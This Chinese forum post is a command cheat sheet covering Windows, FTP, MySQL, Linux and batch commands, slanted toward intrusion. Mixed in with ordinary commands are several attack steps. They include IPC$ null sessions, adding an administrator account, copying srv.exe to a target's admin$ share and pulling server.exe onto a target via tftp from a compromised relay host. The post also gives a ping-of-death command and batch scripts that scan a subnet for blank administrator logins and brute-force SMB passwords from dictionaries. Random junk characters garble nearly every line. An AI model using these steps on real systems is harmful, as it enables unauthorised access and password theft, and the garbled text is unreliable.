|
  
- UID
- 1
- 帖子
- 738
- 精华
- 28
- 积分
- 14389
- 金币
- 2480
- 威望
- 1647
- 贡献
- 1428
|
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接
5 Q- ?1 R7 d( O4 \net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 5 b3 [$ D8 V- P0 y8 Y7 w+ h P
net use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: 6 h0 l0 X1 Z2 m0 p/ D, {
net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
" Z& L7 B/ E D7 i% k; anet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接
4 N9 M% }# P& L2 n) Gnet use h: /del 删除映射对方到本地的为H:的映射
1 Q8 ~8 U# U, _' ~net user 用户名 密码 /add 建立用户
" w. p% S8 @+ \net user guest /active:yes 激活guest用户
; P# V8 O+ L. n8 s* onet user 查看有哪些用户
% g0 v. ^1 ^& _. y( H dnet user 帐户名 查看帐户的属性 ! F5 B' P! q" [: K, I4 q
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
1 r$ E, E6 u1 I& K& knet start 查看开启了哪些服务
" X/ d0 d( v: {" H3 `! Bnet start 服务名 开启服务;(如:net start telnet, net start schedule) % _6 X4 F% Z6 L" d3 T9 [, S
net stop 服务名 停止某服务 9 h( \5 e1 [$ m+ V, R0 t
net time \\目标ip 查看对方时间
, F% @# y) j$ ?. s- l% p5 X. P6 a& snet time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 , E' k' Y7 j8 i5 M) D3 `/ N
net view 查看本地局域网内开启了哪些共享
5 l2 h8 a6 ]' R5 l+ m. s7 T4 j. rnet view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享
) i, A/ W/ j4 ?% F+ Xnet config 显示系统网络设置 4 ?2 Q4 X/ U. P. @" b
net logoff 断开连接的共享 ! e+ Y! }& w( H! z- B# Q& {' k
net pause 服务名 暂停某服务 ) ~( h/ L$ J: V# y
net send ip "文本信息" 向对方发信息
6 f0 N. ~' f, p, r% S \+ znet ver 局域网内正在使用的网络连接类型和信息 / |- y/ k/ A3 L: `7 _
net share 查看本地开启的共享 0 X3 q- F2 c2 x& z5 Q
net share ipc$ 开启ipc$共享 & k' h/ v# r) P% \& _, R+ T" v
net share ipc$ /del 删除ipc$共享
- p6 o* Z) _0 i1 B0 P" M/ hnet share c$ /del 删除C:共享
5 B5 Z U( h; n- w0 K+ I+ _net user guest 12345 用guest用户登陆后用将密码改为12345 - a3 O6 [4 o2 N4 D
net password 密码 更改系统登陆密码 2 H1 u3 z- p% v# w1 Z# j3 s
netstat -a 查看开启了哪些端口,常用netstat -an
8 @( R. z5 g& l/ m* znetstat -n 查看端口的网络连接情况,常用netstat -an 5 O: \ L+ i6 d e: f9 m1 j1 \! S s
netstat -v 查看正在进行的工作
" k0 q9 n5 {$ h3 i) [netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
" V: _0 J P+ ~5 i) pnetstat -s 查看正在使用的所有协议使用情况 + d5 V. j3 f, S$ P8 s
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
9 q# k0 K* `* g4 B& ~( ]# Ttracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
' i5 H& t& r! ^# x5 j& m5 ~ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 e4 a( v1 l# ]; _
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) , w$ }. ]4 u, m1 `4 m }
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 + d! p' {- {: O- J! l
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
4 {( ^% f! n+ Mkill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
' [2 p( g% [- ~! t% v; [del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
' ^/ h8 G$ A x$ G1 ?3 ~0 |del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) E: O, ?: k1 _1 e; K7 d
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
& |) H8 D. y* c2 ffc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 ' C( G; ?' y+ j4 ?/ O1 N
at id号 开启已php?name=%D7%A2%B2%E1" class="t_tag">注册的某个计划任务 7 ^% B& J% r c1 e# z
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
/ h( M& F7 T. ?5 T' kat id号 /delete 停止某个已注册的计划任务
! R+ k# N% W1 ^/ b* zat 查看所有的计划任务 0 E9 {$ A" B' ?/ A) v; _& I1 g
at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
6 l( u! a `+ b. N1 \/ cfinger username @host 查看最近有哪些用户登陆 " T! K+ }9 s: D0 o) r% o
telnet ip 端口 远和登陆服务器,默认端口为23
2 l1 v4 A J+ o2 a. zopen ip 连接到IP(属telnet登陆后的命令)
8 f4 ^5 V* L- K# ctelnet 在本机上直接键入telnet 将进入本机的telnet
* P/ B% @& d! b+ H% F6 k( H2 K0 J/ Ucopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 " ?# U Q w2 l9 Q# h
copy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下
' o! i: p* q" Xcppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 ; u4 g5 E" n, r; B
copy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
% A6 @6 O8 T+ B: L' Y, uxcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
: J9 o! K9 \/ stftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 8 U8 P# J4 D. N+ z2 N
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
w; q5 y& k5 h9 `1 n* sftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) ; p# l4 N, d6 w: N# l3 u
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 5 C. R0 i; M' E0 _' C
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
/ M% l6 U k" u& nstart 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 ) k |8 C- C% _: _& N% ?
mem 查看cpu使用情况
; u- \3 z& ~/ Y1 F" n2 I* Aattrib 文件名(目录名) 查看某文件(目录)的属性 1 X' _9 [/ v) E. M
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 2 Q0 J* O0 R# ^
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 ( s; I" w$ h( y% x% Q
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 : }7 \& B% l1 h
set 指定环境变量名称=要指派给变量的字符 设置环境变量 * J: b. ]3 V) E$ T
set 显示当前所有的环境变量 ; A& W3 |* T' i: _' }
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 % {- H! C9 ?( w8 a+ `
pause 暂停批处理程序,并显示出:请按任意键继续.... ) D V! [7 j5 d$ A
if 在批处理程序中执行条件处理(更多说明见if命令及变量) 6 _/ |- d9 _1 y3 S* T% _& z7 O$ C
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) + ]2 h2 Z' k- `7 P4 h6 U% H
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) . S3 _5 w0 k4 J0 S: e5 d
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
+ B, ], H h( \3 G- f' recho on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 - L3 O: O9 V/ c% R% v" u
echo 信息 在屏幕上显示出信息
: { V8 V2 F9 Q7 A1 C. Iecho 信息 >> pass.txt 将"信息"保存到pass.txt文件中 3 i. f9 e% n, S9 {
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 3 {9 c/ q8 p g/ w
find 文件名 查找某文件 % e. V# \$ `. w, g/ A- X
title 标题名字 更改CMD窗口标题名字
! r; ?" E" _$ m7 @color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 / k. g3 a% C- _: V) h/ y- ~% M
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
8 F5 Q' @0 ]% y6 m! g+ Rprint 文件名 打印文本文件
& p* A" x% q! W4 I! W2 Sver 在DOS窗口下显示版本信息 # {7 b6 B/ O7 A1 a* g
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
. c& V( f% Y( l# T% `format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 4 |3 f1 K0 W( }1 b% i# e. L" u
md 目录名 创建目录 6 O/ Z. z4 ? Z( b9 h
replace 源文件 要替换文件的目录 替换文件 4 `9 J8 ]' V. c+ E3 `& @: }! Z5 j
ren 原文件名 新文件名 重命名文件名
8 O3 a! p3 L! a# d( u1 Y& n7 T4 Jtree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
; _, u1 q% e ltype 文件名 显示文本文件的内容 ; T# n4 L3 h" r4 `5 t
more 文件名 逐屏显示输出文件
+ L$ S( U% Y4 t" Y& g& s9 E) Q) `doskey 要锁定的命令=字符* h- ? D' Y/ K7 ^
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= ! M( d$ a3 A. I/ a. V0 s
taskmgr 调出任务管理器 3 f1 [" M$ Y0 x2 `
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 & x* u% e* C$ X7 f4 O
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 * h* l1 q/ ?4 S, a+ f+ z& h+ Z& v
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
; r7 }, w! b H7 c# c8 Wpath 路径\可执行文件的文件名 为可执行文件设置一个路径。 & J. p8 { `2 T U7 [ o
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? 2 v9 r' w$ J' i5 \# ^
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
5 S. A* l' w( J7 ]5 _regedit /e 注册表文件名 导出注册表
# x; D, [/ o, G2 m) _* ycacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 & R5 O- v) s8 K& _3 Y" [$ e
cacls 文件名 查看文件的访问用户权限列表
6 v' ~* p e4 o2 w+ h2 D1 {: U RREM 文本内容 在批处理文件中添加注解 ' D% I: S9 g( e
netsh 查看或更改本地网络配置情况
* _1 R/ s1 g7 a8 v m2 zIIS服务命令:, y/ h+ H6 ]3 Z$ G2 C2 u
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
/ R& t* a. r; P/ F' `& Hiisreset /start或stop 启动(停止)所有Internet服务 8 `1 u; M) K/ e" F
iisreset /restart 停止然后重新启动所有Internet服务 ! T" u% U& e+ _. t. Q* I
iisreset /status 显示所有Internet服务状态 ; n. ]+ H. h9 R3 J' O9 v
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 / G, I3 n5 i! z6 X% u, | i$ a; ?
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 u+ J& C, r: Q: ]8 v
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 % i5 P3 c+ H% y
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
4 W5 w+ U9 _! W, c) M0 R5 o; S% h# RFTP 命令: (后面有详细说明内容) 8 f# } m4 y2 a$ J7 |: r( m
ftp的命令行格式为:; j" W- B" k9 i5 p) m4 s6 L
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。 ^4 H! ] e9 a C9 ]6 [
-d 使用调试方式。
6 J6 I7 k' ?+ Z5 P2 B/ S-n 限制ftp的自动登录,即不使用.netrc文件。
! k) Z; u# _8 w% A% |-g 取消全局文件名。
7 f0 H G" O$ `help [命令] 或 ?[命令] 查看命令说明
3 R I# |2 f& l+ u4 o3 Z8 {bye 或 quit 终止主机FTP进程,并退出FTP管理方式. ' j2 O) ^# B& p5 q F! U$ l0 C% ]7 k# ^
pwd 列出当前远端主机目录
2 v5 @, b6 U& J2 P ]$ Oput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 : }1 N1 S* t9 u3 p7 [5 T
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 , u6 r _/ C* | w& M. o, A8 P8 I
mget [remote-files] 从远端主机接收一批文件至本地主机
$ O2 N2 w4 K0 z. J( a4 P* |mput local-files 将本地主机中一批文件传送至远端主机
) j9 p9 I/ D+ U) w6 J& p3 J& U5 \dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 & i; K: G- G- u; v
ascii 设定以ASCII方式传送文件(缺省值) 3 S; v- c+ p9 ?: ^
bin 或 image 设定以二进制方式传送文件
2 a9 j2 h' m% u4 P# Y% ebell 每完成一次文件传送,报警提示
% f; y @0 U; [! A$ _& Xcdup 返回上一级目录
8 h m3 C/ h, _8 v% tclose 中断与远程服务器的ftp会话(与open对应) 6 H6 T# o9 p$ E$ m% {3 H0 O
open host[port] 建立指定ftp服务器连接,可指定连接端口 5 I" U* c0 }: B9 @
delete 删除远端主机中的文件 $ ?# z+ \4 u8 i$ a
mdelete [remote-files] 删除一批文件
W8 G, I, [1 b4 ~3 ~, imkdir directory-name 在远端主机中建立目录
* q" K2 m! o+ d V9 zrename [from] [to] 改变远端主机中的文件名
* f: g8 k4 p% ^5 d2 J g. H# qrmdir directory-name 删除远端主机中的目录
2 Y2 n8 f+ _, s- u- h1 k' c2 y; w& Zstatus 显示当前FTP的状态
2 J! ], w" }' o& d1 wsystem 显示远端主机系统类型 - d6 o8 \8 ]/ P7 K/ I" h+ z
user user-name [password] [account] 重新以别的用户名登录远端主机
5 v( S4 l6 S; Wopen host [port] 重新建立一个新的连接 4 b( A8 c: Q8 I B6 p
prompt 交互提示模式
0 Y1 w3 c% x) h3 X5 Kmacdef 定义宏命令 - x7 L- d3 }0 s- V; s% j
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 - I* p% a- R8 j f
chmod 改变远端主机的文件权限
: E: a! w( p; o2 m5 E" Zcase 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 7 N& X+ h! r4 M- p7 D
cd remote-dir 进入远程主机目录 8 u) T" m, W% X. s
cdup 进入远程主机目录的父目录 8 W1 ]: ?5 a. @: A9 v
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip ) v! w( w! U# N) V% q
MYSQL 命令: ! p- h9 r/ e* H2 p. |$ R3 _
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
! S3 u0 Y% v: e& a(例:mysql -h110.110.110.110 -Uroot -P123456
5 x( g6 k( T( W注:u与root可以不用加空格,其它也一样)
! _( Q% \8 ]# z4 m P" @& Rexit 退出MYSQL " I) x) q8 X" Y x- D$ m
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 2 Z9 _* W3 z8 \0 J
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 4 @% ^& B) H! A
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
; H) I9 s- }9 q( u1 f# `2 Kuse mysql;
$ x/ m8 P9 ?7 j _2 W O/ e7 Z1 r+ Ushow tables; 显示库中的数据表
1 l: `- m5 q- R. m7 R$ Q5 _, K1 kdescribe 表名; 显示数据表的结构 1 a1 d4 }, P% ^8 \
create database 库名; 建库
/ p: _0 e5 ^3 j {1 h( Yuse 库名;
9 V7 J0 y4 z6 C2 q. @& D1 g- V1 U( \create table 表名 (字段设定列表); 建表 ! }& l x! B" o
drop database 库名; % q2 h" x! E n e0 t$ n) a$ j
drop table 表名; 删库和删表
9 a7 h @; P7 W8 q" cdelete from 表名; 将表中记录清空
1 B9 i& p; u( U" Y& D9 U3 F3 vselect * from 表名; 显示表中的记录
7 N4 J7 h3 j4 d" Y( [7 u9 F; @mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 9 J( o/ d+ m% G+ ~$ w6 L
win2003系统下新增命令(实用部份): 7 [* X* T& H4 R0 z5 Z1 s& M
shutdown /参数 关闭或重启本地或远程主机。
( c/ [' P5 f/ X: s1 y/ S参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
6 a& P6 Y2 M0 w2 e' j例:shutdown /r /t 0 立即重启本地主机(无延时) p/ i1 p# n! _* h7 j
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
9 \6 s3 S1 v; d, V" D$ a" ~& `& O. ]参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 ! O, Q/ c5 d9 t8 L
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
+ t% m9 Y# E5 M' }参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程* E9 O" u' y; G+ y. `
Linux系统下基本命令: 要区分大小写
( P' N# ^7 b- ~% |uname 显示版本信息(同win2K的 ver) ( `! x& [( e- G, i
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) + A' P$ b9 L4 e
pwd 查询当前所在的目录位置
; ]+ U8 {# i& C% r# `; gcd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
1 m, {, g, o# H. y ^4 a0 N3 mcat 文件名 查看文件内容 ( M- {) M4 |- P# V7 s
cat >abc.txt 往abc.txt文件中写上内容。
( J( ] B" z+ W7 H& ?more 文件名 以一页一页的方式显示一个文本文件。 i" o5 m5 _6 k2 A& |
cp 复制文件
I( L& o( L3 _0 w& Cmv 移动文件
2 j2 W8 p+ ?" A; m! }, p# vrm 文件名 删除文件,rm -a 目录名删除目录及子目录
# n6 r' \- M8 T9 Y I. Z3 O4 b! Amkdir 目录名 建立目录
. T& _: L& @3 V5 \4 D& Lrmdir 删除子目录,目录内没有文档。 9 M" k4 o% X$ A3 v, g( j( P' a
chmod 设定档案或目录的存取权限
: ^: g7 d: B6 q/ c9 fgrep 在档案中查找字符串
! X: B8 H9 g/ s+ S3 y1 F) sdiff 档案文件比较 ; S( W+ o/ d# \% a
find 档案搜寻
' }6 v" G" y" B \; e, cdate 现在的日期、时间 " g$ h* t6 f4 U# R
who 查询目前和你使用同一台机器的人以及Login时间地点
" N- `" i4 E; k$ z. a9 i2 Kw 查询目前上机者的详细资料 8 |% @$ r6 k3 B5 _
whoami 查看自己的帐号名称 3 q @0 s$ j. ?' h1 S% E/ e
groups 查看某人的Group ' @* h, q4 M1 I9 _ f
passwd 更改密码
1 b$ D! g% f4 X: Q3 mhistory 查看自己下过的命令
) J: W& N M' h1 V! f" ~4 kps 显示进程状态 ! e, t$ K( q! v3 l* p; X
kill 停止某进程 * z |3 z k* J# P* o% X" ?
gcc 黑客通常用它来编译C语言写的文件 6 U" B W8 a& }3 K
su 权限转换为指定使用者
+ J5 x8 l) ~$ b: H1 [+ ]+ dtelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
& [, c. s' p. y. W2 ?- tftp ftp连接上某服务器(同win2K& W" W2 b" T# j$ L' W. r
附:批处理命令与变量
5 O2 I8 C* Q8 q! v( T1:for命令及变量 基本格式: $ [- {& o8 [5 k$ L
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。4 V- x: O* U- v' o
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3+ x# R5 w1 a) a; i6 R) x2 d% c
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}8 z$ }) @2 H7 C5 p* {- G7 m9 p
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
& j: P# e, X' T% F6 x; H1 ^; b. \command_parameters:为特定命令指定参数或命令行开关$ w( G* n) F# |6 f, D: S8 j
IN (set):指在(set)中取值;DO command :指执行command2 j/ Y. f: R3 c; e) Q! Q
参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。 & d# f5 n9 P. b
用法举例:
# H- S6 u4 H( B@echo off 6 N, A5 x! y% i0 t* h
echo 用法格式:test.bat *.*.* > test.txt
* u% s1 D6 S( z( r+ n I' I7 H6 [& Lfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt 2 p- J$ ^) G7 E8 e
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
6 C2 t" g7 u _1 u, W8 z/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
4 H9 ^; ^' H; i" I# D( v2 k@echo off . E, s4 z) @1 _
echo 用法格式:ok.bat ip
! g' k; N: K; S7 LFOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 ! z. {7 _9 p' H: I- A9 m
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
& g% n8 m/ Y1 R2:if命令及变量 基本格式:
2 J' M' I/ ]1 _9 n. nIF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
( v6 g6 u# E4 k' `+ h; K例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
# c5 N2 @0 B9 N, p0 指发现并成功执行(真);1 指没有发现、没执行(假)。 * R) u2 U: i! _7 K
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。; o: ?4 v8 R7 B- V H) S# M/ ~
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
1 {" V8 e3 `: I0 d: g, P2 I4 O ~IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
$ m- t$ I$ F) D例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
7 ~8 ~: S; f( uIF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.” |
|